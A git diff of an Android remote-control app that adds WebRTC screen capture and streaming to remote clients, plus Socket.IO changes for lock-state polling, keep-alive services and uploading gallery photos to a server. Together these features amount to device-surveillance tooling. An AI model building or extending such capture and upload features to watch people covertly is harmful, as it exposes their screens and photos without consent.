+ videoSource = videoSource,
+ videoTrack = videoTrack,
+ surfaceTextureHelper = surfaceTextureHelper,
+ width = config.width,
+ height = config.height,
+ fps = config.fps,
+ bitrateBps = config.bitrateBps,
+ maxLongEdge = config.maxLongEdge,
+ priority = config.priority
+ )
+ }
+ Log.i(
+ TAG,
+ "WebRTC session created: clientId=$clientId, token=$sessionToken, target=${config.width}x${config.height}@${config.fps}"
+ )
+
+ listener.onStateChanged(deviceId, clientId, "starting", "webrtc_offer_received", extra)
+
+ val retriedWithCompat = AtomicBoolean(false)
+ lateinit var trySetRemoteOffer: (String, String) -> Unit
+ trySetRemoteOffer = { offerSdpText, mode ->
+ peerConnection.setRemoteDescription(
+ object : SimpleSdpObserver() {
+ override fun onSetSuccess() {
+ if (!isSessionCurrent(clientId, sessionToken)) return
+ if (mode == "compat") {
+ listener.onStateChanged(
+ deviceId,
+ clientId,
+ "starting",
+ "set_remote_offer_compat_applied",
+ JSONObject().apply { put("mode", mode) }
+ )
+ }
+ flushPendingRemoteCandidates(clientId, sessionToken)
+ createAndSendAnswer(deviceId, clientId, sessionToken)
+ startCaptureAsync(
+ deviceId = deviceId,
+ clientId = clientId,
+ sessionToken = sessionToken,
+ videoCapturer = videoCapturer,
+ sender = sender,
+ primaryConfig = config,
+ hasPermissionData = hasPermissionData,
+ hasProjectionObject = hasProjectionObject
+ )
+ }
+
+ override fun onSetFailure(error: String?) {
+ if (!isSessionCurrent(clientId, sessionToken)) return
+ val errorText = error.orEmpty()
+ val canRetryCompat =
+ mode != "compat" &&
+ compatOfferSdp != normalizedOfferSdp &&
+ retriedWithCompat.compareAndSet(false, true) &&
+ shouldRetryWithCompatSdp(errorText)
+ if (canRetryCompat) {
+ Log.w(
+ TAG,
+ "Set remote offer failed, retry with compat SDP: clientId=$clientId, error=$errorText"
+ )
+ listener.onStateChanged(
+ deviceId,
+ clientId,
+ "starting",
+ "set_remote_offer_retry_compat:$errorText",
+ JSONObject().apply {
+ put("mode", "compat")
+ put("offerSummary", buildOfferSdpSummary(normalizedOfferSdp, compatOfferSdp))
+ }
+ )
+ runRtcTask("set_remote_offer_compat:$clientId:$sessionToken") {
+ if (!isSessionCurrent(clientId, sessionToken)) return@runRtcTask
+ trySetRemoteOffer(compatOfferSdp, "compat")
+ }
+ return
+ }
+
+ Log.e(TAG, "Set remote offer failed ($mode): $errorText")
+ listener.onStateChanged(
+ deviceId,
+ clientId,
+ "failed",
+ "set_remote_offer_failed:$errorText",
+ JSONObject().apply {
+ put("mode", mode)
+ put("offerSummary", buildOfferSdpSummary(normalizedOfferSdp, compatOfferSdp))
+ }
+ )
+ stop(clientId, "set_remote_offer_failed", notifyStop = false)
+ }
+ },
+ SessionDescription(SessionDescription.Type.OFFER, offerSdpText)
+ )
+ }
+
+ runRtcTask("set_remote_offer:$clientId:$sessionToken") {
+ if (!isSessionCurrent(clientId, sessionToken)) return@runRtcTask
+ trySetRemoteOffer(normalizedOfferSdp, "default")
+ }
+
+ return StartResult(true, "webrtc_starting", extra)
+ } catch (e: Exception) {
+ Log.e(TAG, "Start WebRTC from offer failed", e)
+ stop(clientId, "webrtc_start_exception", notifyStop = false)
+ return StartResult(false, "webrtc_start_exception:${e.message ?: "unknown"}")
+ }
+ }
+
+ fun addRemoteIceCandidate(
+ clientId: String,
+ candidate: String,
+ sdpMid: String?,
+ sdpMLineIndex: Int?
+ ): Boolean {
+ if (clientId.isBlank() || candidate.isBlank()) return false
+ val candidateObj = IceCandidate(
+ sdpMid,
+ sdpMLineIndex ?: 0,
+ candidate
+ )
+
+ synchronized(lock) {
+ val queue = pendingRemoteCandidates.getOrPut(clientId) { mutableListOf() }
+ queue.add(candidateObj)
+ }
+ flushPendingRemoteCandidates(clientId, expectedSessionToken = null)
+ return true
+ }
+
+ fun stop(clientId: String, reason: String = "remote_stop", notifyStop: Boolean = true): Boolean {
+ synchronized(lock) {
+ return stopSessionLocked(clientId, reason, notifyStop)
+ }
+ }
+
+ fun stopAll(reason: String = "manager_stop_all", notifyStop: Boolean = true) {
+ synchronized(lock) {
+ val ids = sessions.keys.toList()
+ ids.forEach { clientId ->
+ stopSessionLocked(clientId, reason, notifyStop)
+ }
+ }
+ }
+
+ fun release() {
+ stopAll(reason = "manager_release", notifyStop = false)
+ synchronized(lock) {
+ pendingRemoteCandidates.clear()
+ }
+ val latch = CountDownLatch(1)
+ runRtcTask("release_factory") {
+ try {
+ peerConnectionFactory?.dispose()
+ } catch (e: Exception) {
+ Log.w(TAG, "Dispose PeerConnectionFactory failed", e)
+ } finally {
+ peerConnectionFactory = null
+ }
+ try {
+ eglBase?.release()
+ } catch (e: Exception) {
+ Log.w(TAG, "Release EGL failed", e)
+ } finally {
+ eglBase = null
+ }
+ latch.countDown()
+ }
+ try {
+ latch.await(2, TimeUnit.SECONDS)
+ } catch (_: InterruptedException) {
+ // ignore
+ }
+ }
+
+ private fun runRtcTask(taskName: String, task: () -> Unit) {
+ try {
+ rtcExecutor.execute {
+ try {
+ task()
+ } catch (t: Throwable) {
+ Log.e(TAG, "RTC task failed: $taskName", t)
+ }
+ }
+ } catch (e: Exception) {
+ Log.w(TAG, "RTC task schedule failed: $taskName", e)
+ }
+ }
+
+ private fun stopSessionLocked(clientId: String, reason: String, notifyStop: Boolean): Boolean {
+ pendingRemoteCandidates.remove(clientId)
+ val session = sessions[clientId] ?: return false
+ if (session.isClosing) {
+ return false
+ }
+ session.isClosing = true
+ sessions.remove(clientId)
+ Log.i(TAG, "WebRTC session stopping: clientId=$clientId, token=${session.sessionToken}, reason=$reason")
+
+ runRtcTask("stop_session:$clientId:${session.sessionToken}") {
+ safeRtcOperation("stopCapture:$clientId") {
+ if (session.captureStarted) {
+ session.videoCapturer.stopCapture()
+ session.captureStarted = false
+ }
+ }
+ safeRtcOperation("disableTrack:$clientId") {
+ session.videoTrack.setEnabled(false)
+ }
+ safeRtcOperation("closePeerConnection:$clientId") {
+ session.peerConnection.close()
+ }
+ safeRtcOperation("disposeVideoTrack:$clientId") {
+ session.videoTrack.dispose()
+ }
+ safeRtcOperation("disposeVideoSource:$clientId") {
+ session.videoSource.dispose()
+ }
+ safeRtcOperation("disposeSurfaceTextureHelper:$clientId") {
+ session.surfaceTextureHelper.dispose()
+ }
+ safeRtcOperation("disposeCapturer:$clientId") {
+ session.videoCapturer.dispose()
+ }
+ }
+
+ if (notifyStop) {
+ listener.onStateChanged(session.deviceId, session.clientId, "stopped", reason)
+ listener.onStopped(session.deviceId, session.clientId, reason)
+ }
+ return true
+ }
+
+ private fun safeRtcOperation(op: String, action: () -> Unit) {
+ try {
+ action()
+ } catch (_: InterruptedException) {
+ // ignore
+ } catch (t: Throwable) {
+ Log.w(TAG, "RTC op failed: $op", t)
+ }
+ }
+
+ private fun isSessionCurrent(clientId: String, expectedToken: Long): Boolean = synchronized(lock) {
+ val session = sessions[clientId] ?: return@synchronized false
+ session.sessionToken == expectedToken && !session.isClosing
+ }
+
+ private fun getSessionIfCurrent(clientId: String, expectedToken: Long): Session? = synchronized(lock) {
+ val session = sessions[clientId] ?: return@synchronized null
+ if (session.sessionToken == expectedToken && !session.isClosing) session else null
+ }
+
+ private fun flushPendingRemoteCandidates(clientId: String, expectedSessionToken: Long?) {
+ runRtcTask("flush_candidates:$clientId") {
+ val session = synchronized(lock) { sessions[clientId] } ?: return@runRtcTask
+ if (session.isClosing) return@runRtcTask
+ if (expectedSessionToken != null && session.sessionToken != expectedSessionToken) return@runRtcTask
+
+ val remoteDescriptionReady = try {
+ session.peerConnection.remoteDescription != null
+ } catch (_: Exception) {
+ false
+ }
+ if (!remoteDescriptionReady) return@runRtcTask
+
+ val queued = synchronized(lock) { pendingRemoteCandidates.remove(clientId)?.toList() ?: emptyList() }
+ if (queued.isEmpty()) return@runRtcTask
+
+ queued.forEach { candidate ->
+ try {
+ session.peerConnection.addIceCandidate(candidate)
+ } catch (e: Exception) {
+ Log.w(TAG, "Apply queued remote ICE candidate failed: clientId=$clientId", e)
+ }
+ }
+ }
+ }
+
+ private fun createAndSendAnswer(deviceId: String, clientId: String, sessionToken: Long) {
+ val session = getSessionIfCurrent(clientId, sessionToken) ?: return
+ val pc = session.peerConnection
+ runRtcTask("create_answer:$clientId:$sessionToken") {
+ if (!isSessionCurrent(clientId, sessionToken)) return@runRtcTask
+ pc.createAnswer(object : SimpleSdpObserver() {
+ override fun onCreateSuccess(desc: SessionDescription?) {
+ if (desc == null) {
+ if (!isSessionCurrent(clientId, sessionToken)) return
+ listener.onStateChanged(deviceId, clientId, "failed", "create_answer_empty")
+ stop(clientId, "create_answer_empty", notifyStop = false)
+ return
+ }
+
+ runRtcTask("set_local_answer:$clientId:$sessionToken") setLocalAnswer@{
+ if (!isSessionCurrent(clientId, sessionToken)) return@setLocalAnswer
+ pc.setLocalDescription(object : SimpleSdpObserver() {
+ override fun onSetSuccess() {
+ val current = getSessionIfCurrent(clientId, sessionToken) ?: return
+ listener.onAnswer(deviceId, clientId, desc.type.canonicalForm(), desc.description)
+ listener.onStateChanged(
+ deviceId,
+ clientId,
+ "running",
+ "webrtc_answer_sent",
+ JSONObject().apply {
+ put("width", current.width)
+ put("height", current.height)
+ put("fps", current.fps)
+ put("bitrateBps", current.bitrateBps)
+ put("maxLongEdge", current.maxLongEdge)
+ put("priority", current.priority)
+ }
+ )
+ }
+
+ override fun onSetFailure(error: String?) {
+ if (!isSessionCurrent(clientId, sessionToken)) return
+ listener.onStateChanged(deviceId, clientId, "failed", "set_local_answer_failed:$error")
+ stop(clientId, "set_local_answer_failed", notifyStop = false)
+ }
+ }, desc)
+ }
+ }
+
+ override fun onCreateFailure(error: String?) {
+ if (!isSessionCurrent(clientId, sessionToken)) return
+ listener.onStateChanged(deviceId, clientId, "failed", "create_answer_failed:$error")
+ stop(clientId, "create_answer_failed", notifyStop = false)
+ }
+ }, MediaConstraints().apply {
+ mandatory.add(MediaConstraints.KeyValuePair("OfferToReceiveVideo", "true"))
+ mandatory.add(MediaConstraints.KeyValuePair("OfferToReceiveAudio", "false"))
+ })
+ }
+ }
+
+ private fun createPeerConnectionObserver(
+ deviceId: String,
+ clientId: String,
+ sessionToken: Long
+ ): PeerConnection.Observer {
+ return object : PeerConnection.Observer {
+ override fun onSignalingChange(state: PeerConnection.SignalingState?) {}
+ override fun onIceConnectionReceivingChange(receiving: Boolean) {}
+ override fun onIceGatheringChange(state: PeerConnection.IceGatheringState?) {}
+ override fun onIceCandidate(candidate: IceCandidate?) {
+ if (candidate != null && isSessionCurrent(clientId, sessionToken)) {
+ listener.onIceCandidate(deviceId, clientId, candidate)
+ }
+ }
+
+ override fun onIceCandidatesRemoved(candidates: Array?) {}
+ override fun onAddStream(stream: org.webrtc.MediaStream?) {}
+ override fun onRemoveStream(stream: org.webrtc.MediaStream?) {}
+ override fun onDataChannel(channel: org.webrtc.DataChannel?) {}
+ override fun onRenegotiationNeeded() {}
+ override fun onAddTrack(
+ receiver: org.webrtc.RtpReceiver?,
+ mediaStreams: Array?
+ ) {
+ }
+
+ override fun onConnectionChange(newState: PeerConnection.PeerConnectionState?) {
+ when (newState) {
+ PeerConnection.PeerConnectionState.CONNECTED -> {
+ if (!isSessionCurrent(clientId, sessionToken)) return
+ listener.onStateChanged(deviceId, clientId, "running", "webrtc_connection_connected")
+ }
+
+ PeerConnection.PeerConnectionState.CONNECTING -> {
+ if (!isSessionCurrent(clientId, sessionToken)) return
+ listener.onStateChanged(deviceId, clientId, "starting", "webrtc_connection_connecting")
+ }
+
+ PeerConnection.PeerConnectionState.DISCONNECTED -> {
+ if (!isSessionCurrent(clientId, sessionToken)) return
+ listener.onStateChanged(deviceId, clientId, "stopped", "webrtc_connection_disconnected")
+ }
+
+ PeerConnection.PeerConnectionState.FAILED -> {
+ if (!isSessionCurrent(clientId, sessionToken)) return
+ stop(clientId, "webrtc_connection_failed", notifyStop = true)
+ }
+
+ PeerConnection.PeerConnectionState.CLOSED -> {
+ if (!isSessionCurrent(clientId, sessionToken)) return
+ stop(clientId, "webrtc_connection_closed", notifyStop = true)
+ }
+
+ else -> Unit
+ }
+ }
+
+ override fun onSelectedCandidatePairChanged(event: CandidatePairChangeEvent?) {}
+ override fun onTrack(transceiver: org.webrtc.RtpTransceiver?) {}
+
+ override fun onStandardizedIceConnectionChange(newState: PeerConnection.IceConnectionState?) {}
+ override fun onIceConnectionChange(state: PeerConnection.IceConnectionState?) {
+ if (state == PeerConnection.IceConnectionState.FAILED) {
+ if (!isSessionCurrent(clientId, sessionToken)) return
+ stop(clientId, "webrtc_ice_failed", notifyStop = true)
+ }
+ }
+ }
+ }
+
+ private fun ensureFactory(): PeerConnectionFactory {
+ synchronized(lock) {
+ peerConnectionFactory?.let { return it }
+
+ val appContext = service.applicationContext
+ PeerConnectionFactory.initialize(
+ PeerConnectionFactory.InitializationOptions.builder(appContext)
+ .setEnableInternalTracer(false)
+ .createInitializationOptions()
+ )
+
+ val egl = EglBase.create()
+ val encoderFactory = DefaultVideoEncoderFactory(egl.eglBaseContext, true, true)
+ val decoderFactory = DefaultVideoDecoderFactory(egl.eglBaseContext)
+ val factory = PeerConnectionFactory.builder()
+ .setOptions(PeerConnectionFactory.Options())
+ .setVideoEncoderFactory(encoderFactory)
+ .setVideoDecoderFactory(decoderFactory)
+ .createPeerConnectionFactory()
+
+ eglBase = egl
+ peerConnectionFactory = factory
+ return factory
+ }
+ }
+
+ private fun buildIceServers(): List {
+ val list = mutableListOf()
+ list.add(PeerConnection.IceServer.builder(DEFAULT_STUN_URL).createIceServer())
+
+ val urls = synchronized(lock) { turnUrls.toList() }
+ if (urls.isNotEmpty()) {
+ val username = synchronized(lock) { turnUsername }
+ val password = synchronized(lock) { turnPassword }
+ val builder = PeerConnection.IceServer.builder(urls)
+ if (username.isNotBlank()) builder.setUsername(username)
+ if (password.isNotBlank()) builder.setPassword(password)
+ list.add(builder.createIceServer())
+ }
+ return list
+ }
+
+ private fun applySenderParameters(sender: RtpSender?, bitrateBps: Int, fps: Int) {
+ if (sender == null) return
+ try {
+ val parameters = sender.parameters ?: return
+ val encodings = parameters.encodings
+ if (encodings.isNullOrEmpty()) return
+ val encoding = encodings[0]
+ encoding.maxBitrateBps = bitrateBps
+ encoding.minBitrateBps = MIN_BITRATE_BPS
+ encoding.maxFramerate = fps
+ sender.parameters = parameters
+ } catch (e: Exception) {
+ Log.w(TAG, "Apply RtpSender parameters failed", e)
+ }
+ }
+
+ private fun hasActiveSession(clientId: String): Boolean = synchronized(lock) {
+ sessions[clientId]?.isClosing == false
+ }
+
+ private fun buildCaptureFallbackConfigs(primary: ScreenConfig): List {
+ val fallbackMedium = primary.copy(
+ width = toEven((primary.width * 0.86f).roundToInt().coerceAtLeast(640)),
+ height = toEven((primary.height * 0.86f).roundToInt().coerceAtLeast(360)),
+ fps = primary.fps.coerceAtMost(30).coerceAtLeast(18),
+ bitrateBps = (primary.bitrateBps * 0.78f).roundToInt().coerceIn(MIN_BITRATE_BPS, MAX_BITRATE_BPS),
+ maxLongEdge = (primary.maxLongEdge * 0.86f).roundToInt().coerceIn(MIN_LONG_EDGE, MAX_LONG_EDGE)
+ )
+ val fallbackLow = primary.copy(
+ width = toEven((primary.width * 0.70f).roundToInt().coerceAtLeast(480)),
+ height = toEven((primary.height * 0.70f).roundToInt().coerceAtLeast(270)),
+ fps = primary.fps.coerceAtMost(24).coerceAtLeast(MIN_FPS),
+ bitrateBps = (primary.bitrateBps * 0.58f).roundToInt().coerceIn(MIN_BITRATE_BPS, MAX_BITRATE_BPS),
+ maxLongEdge = (primary.maxLongEdge * 0.72f).roundToInt().coerceIn(MIN_LONG_EDGE, MAX_LONG_EDGE)
+ )
+ return listOf(primary, fallbackMedium, fallbackLow)
+ .distinctBy { "${it.width}x${it.height}@${it.fps}:${it.bitrateBps}" }
+ }
+
+ private fun startCaptureWithFallback(
+ videoCapturer: ScreenCapturerAndroid,
+ sender: RtpSender?,
+ primaryConfig: ScreenConfig
+ ): Pair {
+ var lastError: Throwable? = null
+ val attempts = buildCaptureFallbackConfigs(primaryConfig)
+
+ for ((index, attempt) in attempts.withIndex()) {
+ try {
+ applySenderParameters(sender, attempt.bitrateBps, attempt.fps)
+ videoCapturer.startCapture(attempt.width, attempt.height, attempt.fps)
+ if (index > 0) {
+ Log.i(
+ TAG,
+ "WebRTC capture fallback applied: ${attempt.width}x${attempt.height}@${attempt.fps}, bitrate=${attempt.bitrateBps}"
+ )
+ }
+ return Pair(attempt, null)
+ } catch (e: Throwable) {
+ lastError = e
+ Log.w(
+ TAG,
+ "Start capture attempt ${index + 1}/${attempts.size} failed: ${attempt.width}x${attempt.height}@${attempt.fps}",
+ e
+ )
+ try {
+ videoCapturer.stopCapture()
+ } catch (_: InterruptedException) {
+ // ignore
+ } catch (_: Exception) {
+ // ignore
+ }
+ }
+ }
+ return Pair(null, lastError)
+ }
+
+ private fun startCaptureAsync(
+ deviceId: String,
+ clientId: String,
+ sessionToken: Long,
+ videoCapturer: ScreenCapturerAndroid,
+ sender: RtpSender?,
+ primaryConfig: ScreenConfig,
+ hasPermissionData: Boolean,
+ hasProjectionObject: Boolean
+ ) {
+ runRtcTask("start_capture:$clientId:$sessionToken") {
+ if (!isSessionCurrent(clientId, sessionToken)) return@runRtcTask
+
+ val captureStartResult = startCaptureWithFallback(videoCapturer, sender, primaryConfig)
+ val startedConfig = captureStartResult.first
+ if (startedConfig == null) {
+ val captureError = captureStartResult.second ?: RuntimeException("unknown_capture_error")
+ Log.e(TAG, "Start WebRTC screen capture failed (async)", captureError)
+ val failureResult = buildCaptureStartFailureResult(
+ phase = "start_capture",
+ throwable = captureError,
+ config = primaryConfig,
+ hasPermissionData = hasPermissionData,
+ hasProjectionObject = hasProjectionObject
+ )
+ val failureExtra = JSONObject().apply {
+ failureResult.extra?.let { detail ->
+ put("detail", detail)
+ }
+ }
+ listener.onStateChanged(
+ deviceId,
+ clientId,
+ "failed",
+ failureResult.message,
+ failureExtra
+ )
+ stop(clientId, "webrtc_start_capture_failed", notifyStop = false)
+ return@runRtcTask
+ }
+
+ synchronized(lock) {
+ sessions[clientId]?.let { current ->
+ if (current.sessionToken == sessionToken && !current.isClosing) {
+ sessions[clientId] = current.copy(
+ width = startedConfig.width,
+ height = startedConfig.height,
+ fps = startedConfig.fps,
+ bitrateBps = startedConfig.bitrateBps,
+ maxLongEdge = startedConfig.maxLongEdge,
+ priority = startedConfig.priority,
+ captureStarted = true
+ )
+ }
+ }
+ }
+
+ if (startedConfig != primaryConfig) {
+ listener.onStateChanged(
+ deviceId,
+ clientId,
+ "starting",
+ "webrtc_capture_profile_fallback",
+ JSONObject().apply {
+ put("width", startedConfig.width)
+ put("height", startedConfig.height)
+ put("fps", startedConfig.fps)
+ put("bitrateBps", startedConfig.bitrateBps)
+ put("maxLongEdge", startedConfig.maxLongEdge)
+ put("priority", startedConfig.priority)
+ }
+ )
+ }
+ }
+ }
+
+ private fun buildScreenConfig(
+ requestedFps: Int?,
+ requestedMaxLongEdge: Int?,
+ requestedBitrateKbps: Int?,
+ priorityRaw: String?
+ ): ScreenConfig {
+ val metrics = service.resources.displayMetrics
+ val rawWidth = metrics.widthPixels.coerceAtLeast(2)
+ val rawHeight = metrics.heightPixels.coerceAtLeast(2)
+
+ val priority = StreamPriority.fromRaw(priorityRaw)
+ val defaultFps = when (priority) {
+ StreamPriority.SMOOTH -> 40
+ StreamPriority.BALANCED -> 36
+ StreamPriority.QUALITY -> 30
+ }
+ val defaultLongEdge = when (priority) {
+ StreamPriority.SMOOTH -> 960
+ StreamPriority.BALANCED -> 1152
+ StreamPriority.QUALITY -> 1280
+ }
+ val bitrateFactor = when (priority) {
+ StreamPriority.SMOOTH -> 0.045
+ StreamPriority.BALANCED -> 0.060
+ StreamPriority.QUALITY -> 0.080
+ }
+
+ val fps = (requestedFps ?: defaultFps).coerceIn(MIN_FPS, MAX_FPS)
+ val maxLongEdge = (requestedMaxLongEdge ?: defaultLongEdge).coerceIn(MIN_LONG_EDGE, MAX_LONG_EDGE)
+ val sourceLong = maxOf(rawWidth, rawHeight)
+ val sourceShort = minOf(rawWidth, rawHeight)
+ val scale = if (sourceLong > maxLongEdge) {
+ maxLongEdge.toFloat() / sourceLong.toFloat()
+ } else {
+ 1f
+ }
+
+ val targetLong = ((sourceLong * scale).roundToInt()).coerceAtLeast(2)
+ val targetShort = ((sourceShort * scale).roundToInt()).coerceAtLeast(2)
+ val width = if (rawWidth >= rawHeight) toEven(targetLong) else toEven(targetShort)
+ val height = if (rawWidth >= rawHeight) toEven(targetShort) else toEven(targetLong)
+
+ val estimatedBitrateBps = (width.toLong() * height.toLong() * fps.toLong() * bitrateFactor)
+ .toLong()
+ .coerceAtLeast(MIN_BITRATE_BPS.toLong())
+ .coerceAtMost(MAX_BITRATE_BPS.toLong())
+ .toInt()
+
+ val requestedBitrateBps = requestedBitrateKbps
+ ?.takeIf { it > 0 }
+ ?.let { it * 1000 }
+
+ val bitrateBps = (requestedBitrateBps ?: estimatedBitrateBps)
+ .coerceIn(MIN_BITRATE_BPS, MAX_BITRATE_BPS)
+
+ return ScreenConfig(
+ width = width,
+ height = height,
+ fps = fps,
+ bitrateBps = bitrateBps,
+ maxLongEdge = maxLongEdge,
+ priority = priority.wireValue
+ )
+ }
+
+ private fun toEven(value: Int): Int {
+ val safe = value.coerceAtLeast(2)
+ return if (safe % 2 == 0) safe else safe - 1
+ }
+
+ private fun ensureMediaProjectionForegroundServiceForWebRtc() {
+ if (!webRtcTransportPolicy.forceMediaProjectionFgsBeforeCapture) return
+ if (Build.VERSION.SDK_INT < Build.VERSION_CODES.Q) return
+ try {
+ val intent = Intent(service, RemoteControlForegroundService::class.java).apply {
+ action = "START_MEDIA_PROJECTION_FGS_ONLY"
+ }
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+ service.startForegroundService(intent)
+ } else {
+ service.startService(intent)
+ }
+ Thread.sleep(120)
+ Log.i(
+ TAG,
+ "Ensure mediaProjection foreground service before WebRTC capture, strategy=${webRtcTransportPolicy.strategyId}"
+ )
+ } catch (e: Exception) {
+ Log.w(TAG, "Ensure mediaProjection foreground service failed", e)
+ }
+ }
+
+ private fun normalizeSdpLineEndings(raw: String): String {
+ val normalized = raw
+ .replace("\r\n", "\n")
+ .replace('\r', '\n')
+ val lines = normalized
+ .split('\n')
+ .map { it.trimEnd() }
+ .filter { it.isNotEmpty() }
+ if (lines.isEmpty()) return ""
+ return lines.joinToString("\r\n", postfix = "\r\n")
+ }
+
+ private fun buildCompatOfferSdp(raw: String): String {
+ val normalized = normalizeSdpLineEndings(raw)
+ if (normalized.isBlank()) return normalized
+ val lines = normalized
+ .split("\r\n")
+ .filter { it.isNotBlank() }
+ val rewritten = mutableListOf()
+ for (line in lines) {
+ val lower = line.lowercase()
+ if (lower == "a=extmap-allow-mixed") {
+ continue
+ }
+ if (lower == "a=rtcp-rsize") {
+ continue
+ }
+ if (lower.startsWith("a=ice-options:")) {
+ val optionsRaw = line.substringAfter(':', "").trim()
+ val options = optionsRaw
+ .split(' ')
+ .map { it.trim() }
+ .filter { it.isNotEmpty() && !it.equals("renomination", ignoreCase = true) }
+ if (options.isNotEmpty()) {
+ rewritten.add("a=ice-options:${options.joinToString(" ")}")
+ }
+ continue
+ }
+ rewritten.add(line)
+ }
+ if (rewritten.isEmpty()) return normalized
+ return rewritten.joinToString("\r\n", postfix = "\r\n")
+ }
+
+ private fun shouldRetryWithCompatSdp(error: String): Boolean {
+ val lowered = error.lowercase()
+ if (lowered.isBlank()) return false
+ return lowered.contains("sessiondescription is null") ||
+ lowered.contains("session description is null") ||
+ lowered.contains("failed to parse") ||
+ lowered.contains("sdp")
+ }
+
+ private fun buildOfferSdpSummary(defaultSdp: String, compatSdp: String): JSONObject {
+ val normalizedDefault = normalizeSdpLineEndings(defaultSdp)
+ val normalizedCompat = normalizeSdpLineEndings(compatSdp)
+ fun collect(sdp: String): JSONObject {
+ val lines = sdp.split("\r\n").filter { it.isNotBlank() }
+ return JSONObject().apply {
+ put("length", sdp.length)
+ put("lineCount", lines.size)
+ put("hasV0", sdp.startsWith("v=0"))
+ put("hasMVideo", lines.any { it.startsWith("m=video") })
+ put("hasExtmapAllowMixed", lines.any { it.equals("a=extmap-allow-mixed", ignoreCase = true) })
+ put("hasRtcpRsize", lines.any { it.equals("a=rtcp-rsize", ignoreCase = true) })
+ put(
+ "iceOptions",
+ lines.firstOrNull { it.startsWith("a=ice-options:", ignoreCase = true) }?.substringAfter(':', "")
+ ?: ""
+ )
+ }
+ }
+ return JSONObject().apply {
+ put("default", collect(normalizedDefault))
+ put("compat", collect(normalizedCompat))
+ put("changed", normalizedDefault != normalizedCompat)
+ }
+ }
+
+ private fun buildCaptureStartFailureResult(
+ phase: String,
+ throwable: Throwable,
+ config: ScreenConfig,
+ hasPermissionData: Boolean,
+ hasProjectionObject: Boolean
+ ): StartResult {
+ val exceptionClass = throwable.javaClass.simpleName.ifBlank { "UnknownException" }
+ val exceptionMessage = (throwable.message ?: "unknown")
+ .replace('\n', ' ')
+ .replace('\r', ' ')
+ .trim()
+ .take(320)
+ .ifEmpty { "unknown" }
+ val normalized = exceptionMessage.lowercase()
+ val permissionLike =
+ throwable is SecurityException ||
+ normalized.contains("media_projection") ||
+ normalized.contains("media projection") ||
+ normalized.contains("permission") ||
+ normalized.contains("token") ||
+ normalized.contains("already used") ||
+ normalized.contains("resultdata") ||
+ normalized.contains("invalid")
+ val message = if (permissionLike) {
+ "media_projection_not_ready:webrtc_start_capture_failed"
+ } else {
+ "webrtc_start_capture_failed"
+ }
+ val extra = JSONObject().apply {
+ put("phase", phase)
+ put("exceptionClass", exceptionClass)
+ put("exceptionMessage", exceptionMessage)
+ put("permissionLike", permissionLike)
+ put("hasPermissionData", hasPermissionData)
+ put("hasProjectionObject", hasProjectionObject)
+ put("targetWidth", config.width)
+ put("targetHeight", config.height)
+ put("targetFps", config.fps)
+ put("targetBitrateBps", config.bitrateBps)
+ put("targetPriority", config.priority)
+ }
+ return StartResult(success = false, message = message, extra = extra)
+ }
+
+ private open class SimpleSdpObserver : SdpObserver {
+ override fun onCreateSuccess(desc: SessionDescription?) {}
+ override fun onSetSuccess() {}
+ override fun onCreateFailure(error: String?) {}
+ override fun onSetFailure(error: String?) {}
+ }
+}
diff --git a/app/src/main/java/com/hikoncont/network/SocketIOManager.kt b/app/src/main/java/com/hikoncont/network/SocketIOManager.kt
index 31a26c9..31a2679 100644
--- a/app/src/main/java/com/hikoncont/network/SocketIOManager.kt
+++ b/app/src/main/java/com/hikoncont/network/SocketIOManager.kt
@@ -2,20 +2,37 @@
import android.content.Context
import android.content.Intent
+import android.media.AudioManager
+import android.app.NotificationManager
+import android.net.Uri
import android.os.Build
import android.os.Handler
import android.os.Looper
+import android.os.Vibrator
+import android.os.VibratorManager
+import android.provider.Settings
import android.util.Log
import android.view.WindowManager
import com.hikoncont.crash.CrashLogUploader
+import com.hikoncont.manager.SrtStreamManager
+import com.hikoncont.manager.WebRTCManager
import com.hikoncont.service.AccessibilityRemoteService
+import com.hikoncont.service.ComprehensiveKeepAliveManager
+import com.hikoncont.service.WorkManagerKeepAliveService
+import com.hikoncont.util.ConfigReader
+import com.hikoncont.util.DeviceDetector
+import com.hikoncont.util.RuntimeFeatureFlags
import io.socket.client.IO
import io.socket.client.Socket
import io.socket.emitter.Emitter
import kotlinx.coroutines.*
import org.json.JSONObject
import org.json.JSONArray
+import org.webrtc.IceCandidate
import java.net.URISyntaxException
+import java.net.URLEncoder
+import java.util.Date
+import kotlin.math.hypot
/**
* Socket.IO v4 client manager - resolves 47-second disconnect issue
@@ -26,11 +43,11 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
private const val TAG = "SocketIOManager"
}
- // 🆕 锁屏状态缓存与定时检测
+ // comment cleaned
private var isScreenLocked: Boolean = false
private var lockStateJob: Job? = null
- // 锁屏状态监控由connect()启动,避免在构造阶段协程作用域未就绪
+ // comment cleaned
private fun startLockStateMonitor() {
try {
@@ -47,13 +64,13 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
Log.d(TAG, "Lock state poll: isLocked=$now")
}
} catch (e: Exception) {
- Log.w(TAG, "检测锁屏状态失败", e)
+ Log.w(TAG, "Lock state check failed", e)
}
kotlinx.coroutines.delay(10_000)
}
}
} catch (e: Exception) {
- Log.e(TAG, "启动锁屏状态监控失败", e)
+ Log.e(TAG, "Start lock state monitor failed", e)
}
}
@@ -65,11 +82,11 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
Log.d(TAG, "Lock detection: isInteractive=$isInteractive => isLocked=$locked")
locked
} catch (e: Exception) {
- Log.w(TAG, "检测锁屏状态失败", e)
+ Log.w(TAG, "Lock state detection failed", e)
false
}
}
- // 🆕 应用信息获取
+ // comment cleaned
private fun getAppVersionName(): String {
return try {
val pm = service.packageManager
@@ -82,7 +99,7 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
pi.versionName ?: "unknown"
} catch (e: Exception) {
- Log.w(TAG, "获取应用版本失败", e)
+ Log.w(TAG, "Failed to get app version", e)
"unknown"
}
}
@@ -98,18 +115,18 @@ class SocketIOManager(private val service: AccessibilityRemoteService) {
}
pm.getApplicationLabel(ai).toString()
} catch (e: Exception) {
- Log.w(TAG, "获取应用名称失败", e)
+ Log.w(TAG, "Failed to get app name", e)
"unknown"
}
}
/**
- * 发送相册数据到服务器(逐张发送;可被新的读取请求打断重启)
+ * comment cleaned
*/
fun sendGalleryData(items: List) {
try {
if (socket?.connected() == true) {
- // 优化:逐张发送,避免单包过大
+ // comment cleaned
items.forEachIndexed { index, itx ->
try {
